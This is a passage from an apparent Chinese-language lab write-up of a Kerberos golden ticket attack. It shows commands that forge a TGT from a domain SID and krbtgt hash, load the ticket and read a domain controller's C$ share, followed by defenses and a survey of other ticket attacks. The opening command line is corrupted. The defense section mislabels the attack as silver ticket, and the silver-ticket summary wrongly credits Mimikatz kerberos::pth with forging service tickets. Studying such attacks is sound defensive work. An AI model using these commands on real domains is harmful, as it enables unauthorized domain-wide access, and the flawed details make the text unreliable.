golden ticket create -d lonelyor.org -u lonelyor-test -s S-1-5-21-3199196146-2196162486-1764246383-k 0147bf1b3fbdd849f9dbbb90018310e0 -t /tmp/gt.ticket
lden_ticket_create -d lonelyor.org -u lonelyor-test -s S-1-5-21-3199196146-2196162486-1764246383 -k 0147bf1b3fbdd849f9dbbb90018310e0 -t /tmp/gt.ticket
接下来输入shell
chcp 65001
dir \\WINSRV-2016\c$
运行使用票据的命令,然后填入刚才导出的路径,这样就加载成功了
kerberos ticket use /tmp/gt.ticket
看一下票据有没有导入成功
kerberos_ticket_list
进入win10的shell
shell
看一下现在我们进入的是哪一个shell
systeminfo
可以看出来是win10的shell
chcp 65001
接下来访问一下共享看看可不可以访问
dir \\WINSRV-2016\c$
我们能够读取目标c盘的根目录
所以我们黄金票据的利用就成功了。
防御措施
- 强化密码策略:
- 复杂性要求:确保用户和服务账户的密码足够复杂,难以猜测或破接。
- 定期更换密码:定期强制更换密码,降低密码被窃取的风险。
- 使用强身份验证方法:
- 多因素认证(MFA):实施多因素认证,即使密码被泄露,公鸡者也难以通过额外的身份验证步骤。
- 智能卡认证:使用智能卡或其他硬件令牌进行身份验证,增加安全性。
- 加强网络监控:
- 异常行为检测:监控网络中的异常行为,如不常见的登录尝试、大量失败的认证请求等。
- 日志审计:定期审计系统日志,查找潜在的安全漏动和异常活动。
- 限制服务账户权限:
- 最小权限原则:确保服务账户只拥有完成任务所需的最低权限,减少公鸡者的可利用空间。
- 定期审查权限设置:定期审查和调整服务账户的权限设置,确保没有不必要的权限分配。
- 更新和补丁管理:
- 及时更新软件:确保操作系统和应用程序及时更新,应用最新的安全补丁,修复已知漏动。
- 使用最新的Kerberos版本:使用最新版本的Kerberos协议,利用其增强的安全特性。
- 网络隔离和分段:
- VLAN和子网划分:通过VLAN和子网划分,将网络分割成多个独立的部分,限制公鸡者的横向移动。
- 访问控制列表(ACL):在关键网络设备上配置访问控制列表,限制未经授权的访问。
- 端点安全保护:
- 防病独软件和防火墙:在所有端点设备上安装和维护最新的防病独软件和防火墙,防止恶意软件和未经授权的访问。
- 端点检测和响应(EDR):使用端点检测和响应工具,实时监控和响应潜在的安全威胁。
- 培训和意识提升:
- 员工安全培训:定期对员工进行安全培训,提高他们对钓鱼公鸡、社会工程学等常见公鸡手段的认识。
- 安全意识宣传:通过各种渠道宣传网络安全知识,营造良好的安全文化氛围。
通过以上措施,可以有效防御白银票据公鸡,保护网络和系统的安全。重要的是,防御措施应该多层次、多角度地实施,形成综合性的安全防护体系。
票据公鸡总结
票据公鸡(Ticket Attacks)是指针对Kerberos认证协议的一种公鸡手段,它利用Kerberos协议的特性来获取或伪造有效的票据,从而实现未经授权的访问。Kerberos是广泛应用于企业环境中的认证协议,主要用于实现网络中的安全认证和授权。以下是几种常见的票据公鸡及其概述:
金票公鸡(Golden Ticket)
- 原理:金票公鸡涉及到伪造Ticket Granting Ticket (TGT)。公鸡者通过获取
krbtgt
账户的NTLM哈希值,然后使用该哈希值生成一个伪造的TGT,该TGT可以用来冒充域内的任何用户。 - 步骤:
- 获取
krbtgt
哈希值。 - 使用工具如
ticketer
或Mimikatz
的kerberos::golden
功能生成伪造的TGT。 - 使用伪造的TGT来请求服务票据(Service Ticket),进而访问网络资源。
- 防御措施:
- 强化密码策略。
- 监控事件日志中的异常活动。
- 限制域控制器的访问权限。
- 使用安全工具检测和防止此类公鸡。
银票公鸡(Silver Ticket)
- 原理:银票公鸡涉及到伪造服务票据(Service Ticket)。公鸡者通过获取服务账户的NTLM哈希值,然后使用该哈希值生成一个伪造的服务,该票据可以用来访问特定的服务。
- 步骤:
- 获取服务账户的NTLM哈希值。
- 使用工具如
Mimikatz
的kerberos::pth
功能生成伪造的服务票据。 - 使用伪造的服务票据来访问特定的服务。
- 防御措施:
- 强化密码策略。
- 监控事件日志中的异常活动。
- 限制服务账户的权限。
- 使用安全工具检测和防止此类公鸡。
票据转发公鸡(Ticket Forwarding)
- 原理:在Kerberos协议中,TGT可以被转发到其他客户端,这使得公鸡者可以通过窃取TGT并将其转发到另一台机器上来冒充原始用户。
- 步骤:
- 窃取或获取有效的TGT。
- 将TGT转发到另一台机器。
- 使用转发的TGT来请求服务票据,进而访问网络资源。
- 防御措施:
- 强化密码策略。
- 监控事件日志中的异常活动。
- 限制TGT的转发能力。
- 使用安全工具检测和防止此类公鸡。
票据缓存公鸡(Ticket Cache Poisoning)
- 原理:公鸡者利用某些漏动或弱点来篡改Kerberos票据缓存中的票据,使其指向公鸡者控制的服务。
- 步骤:
- 利用漏动或弱点访问Kerberos票据缓存。
- 篡改票据缓存中的票据,指向公鸡者控制的服务。
- 当用户尝试访问资源时,被重定向到公鸡者控制的服务。
- 防御措施:
- 定期更新和打补丁系统。
- 监控事件日志中的异常活动。
- 限制网络权限。
- 使用安全工具检测和防止此类公鸡。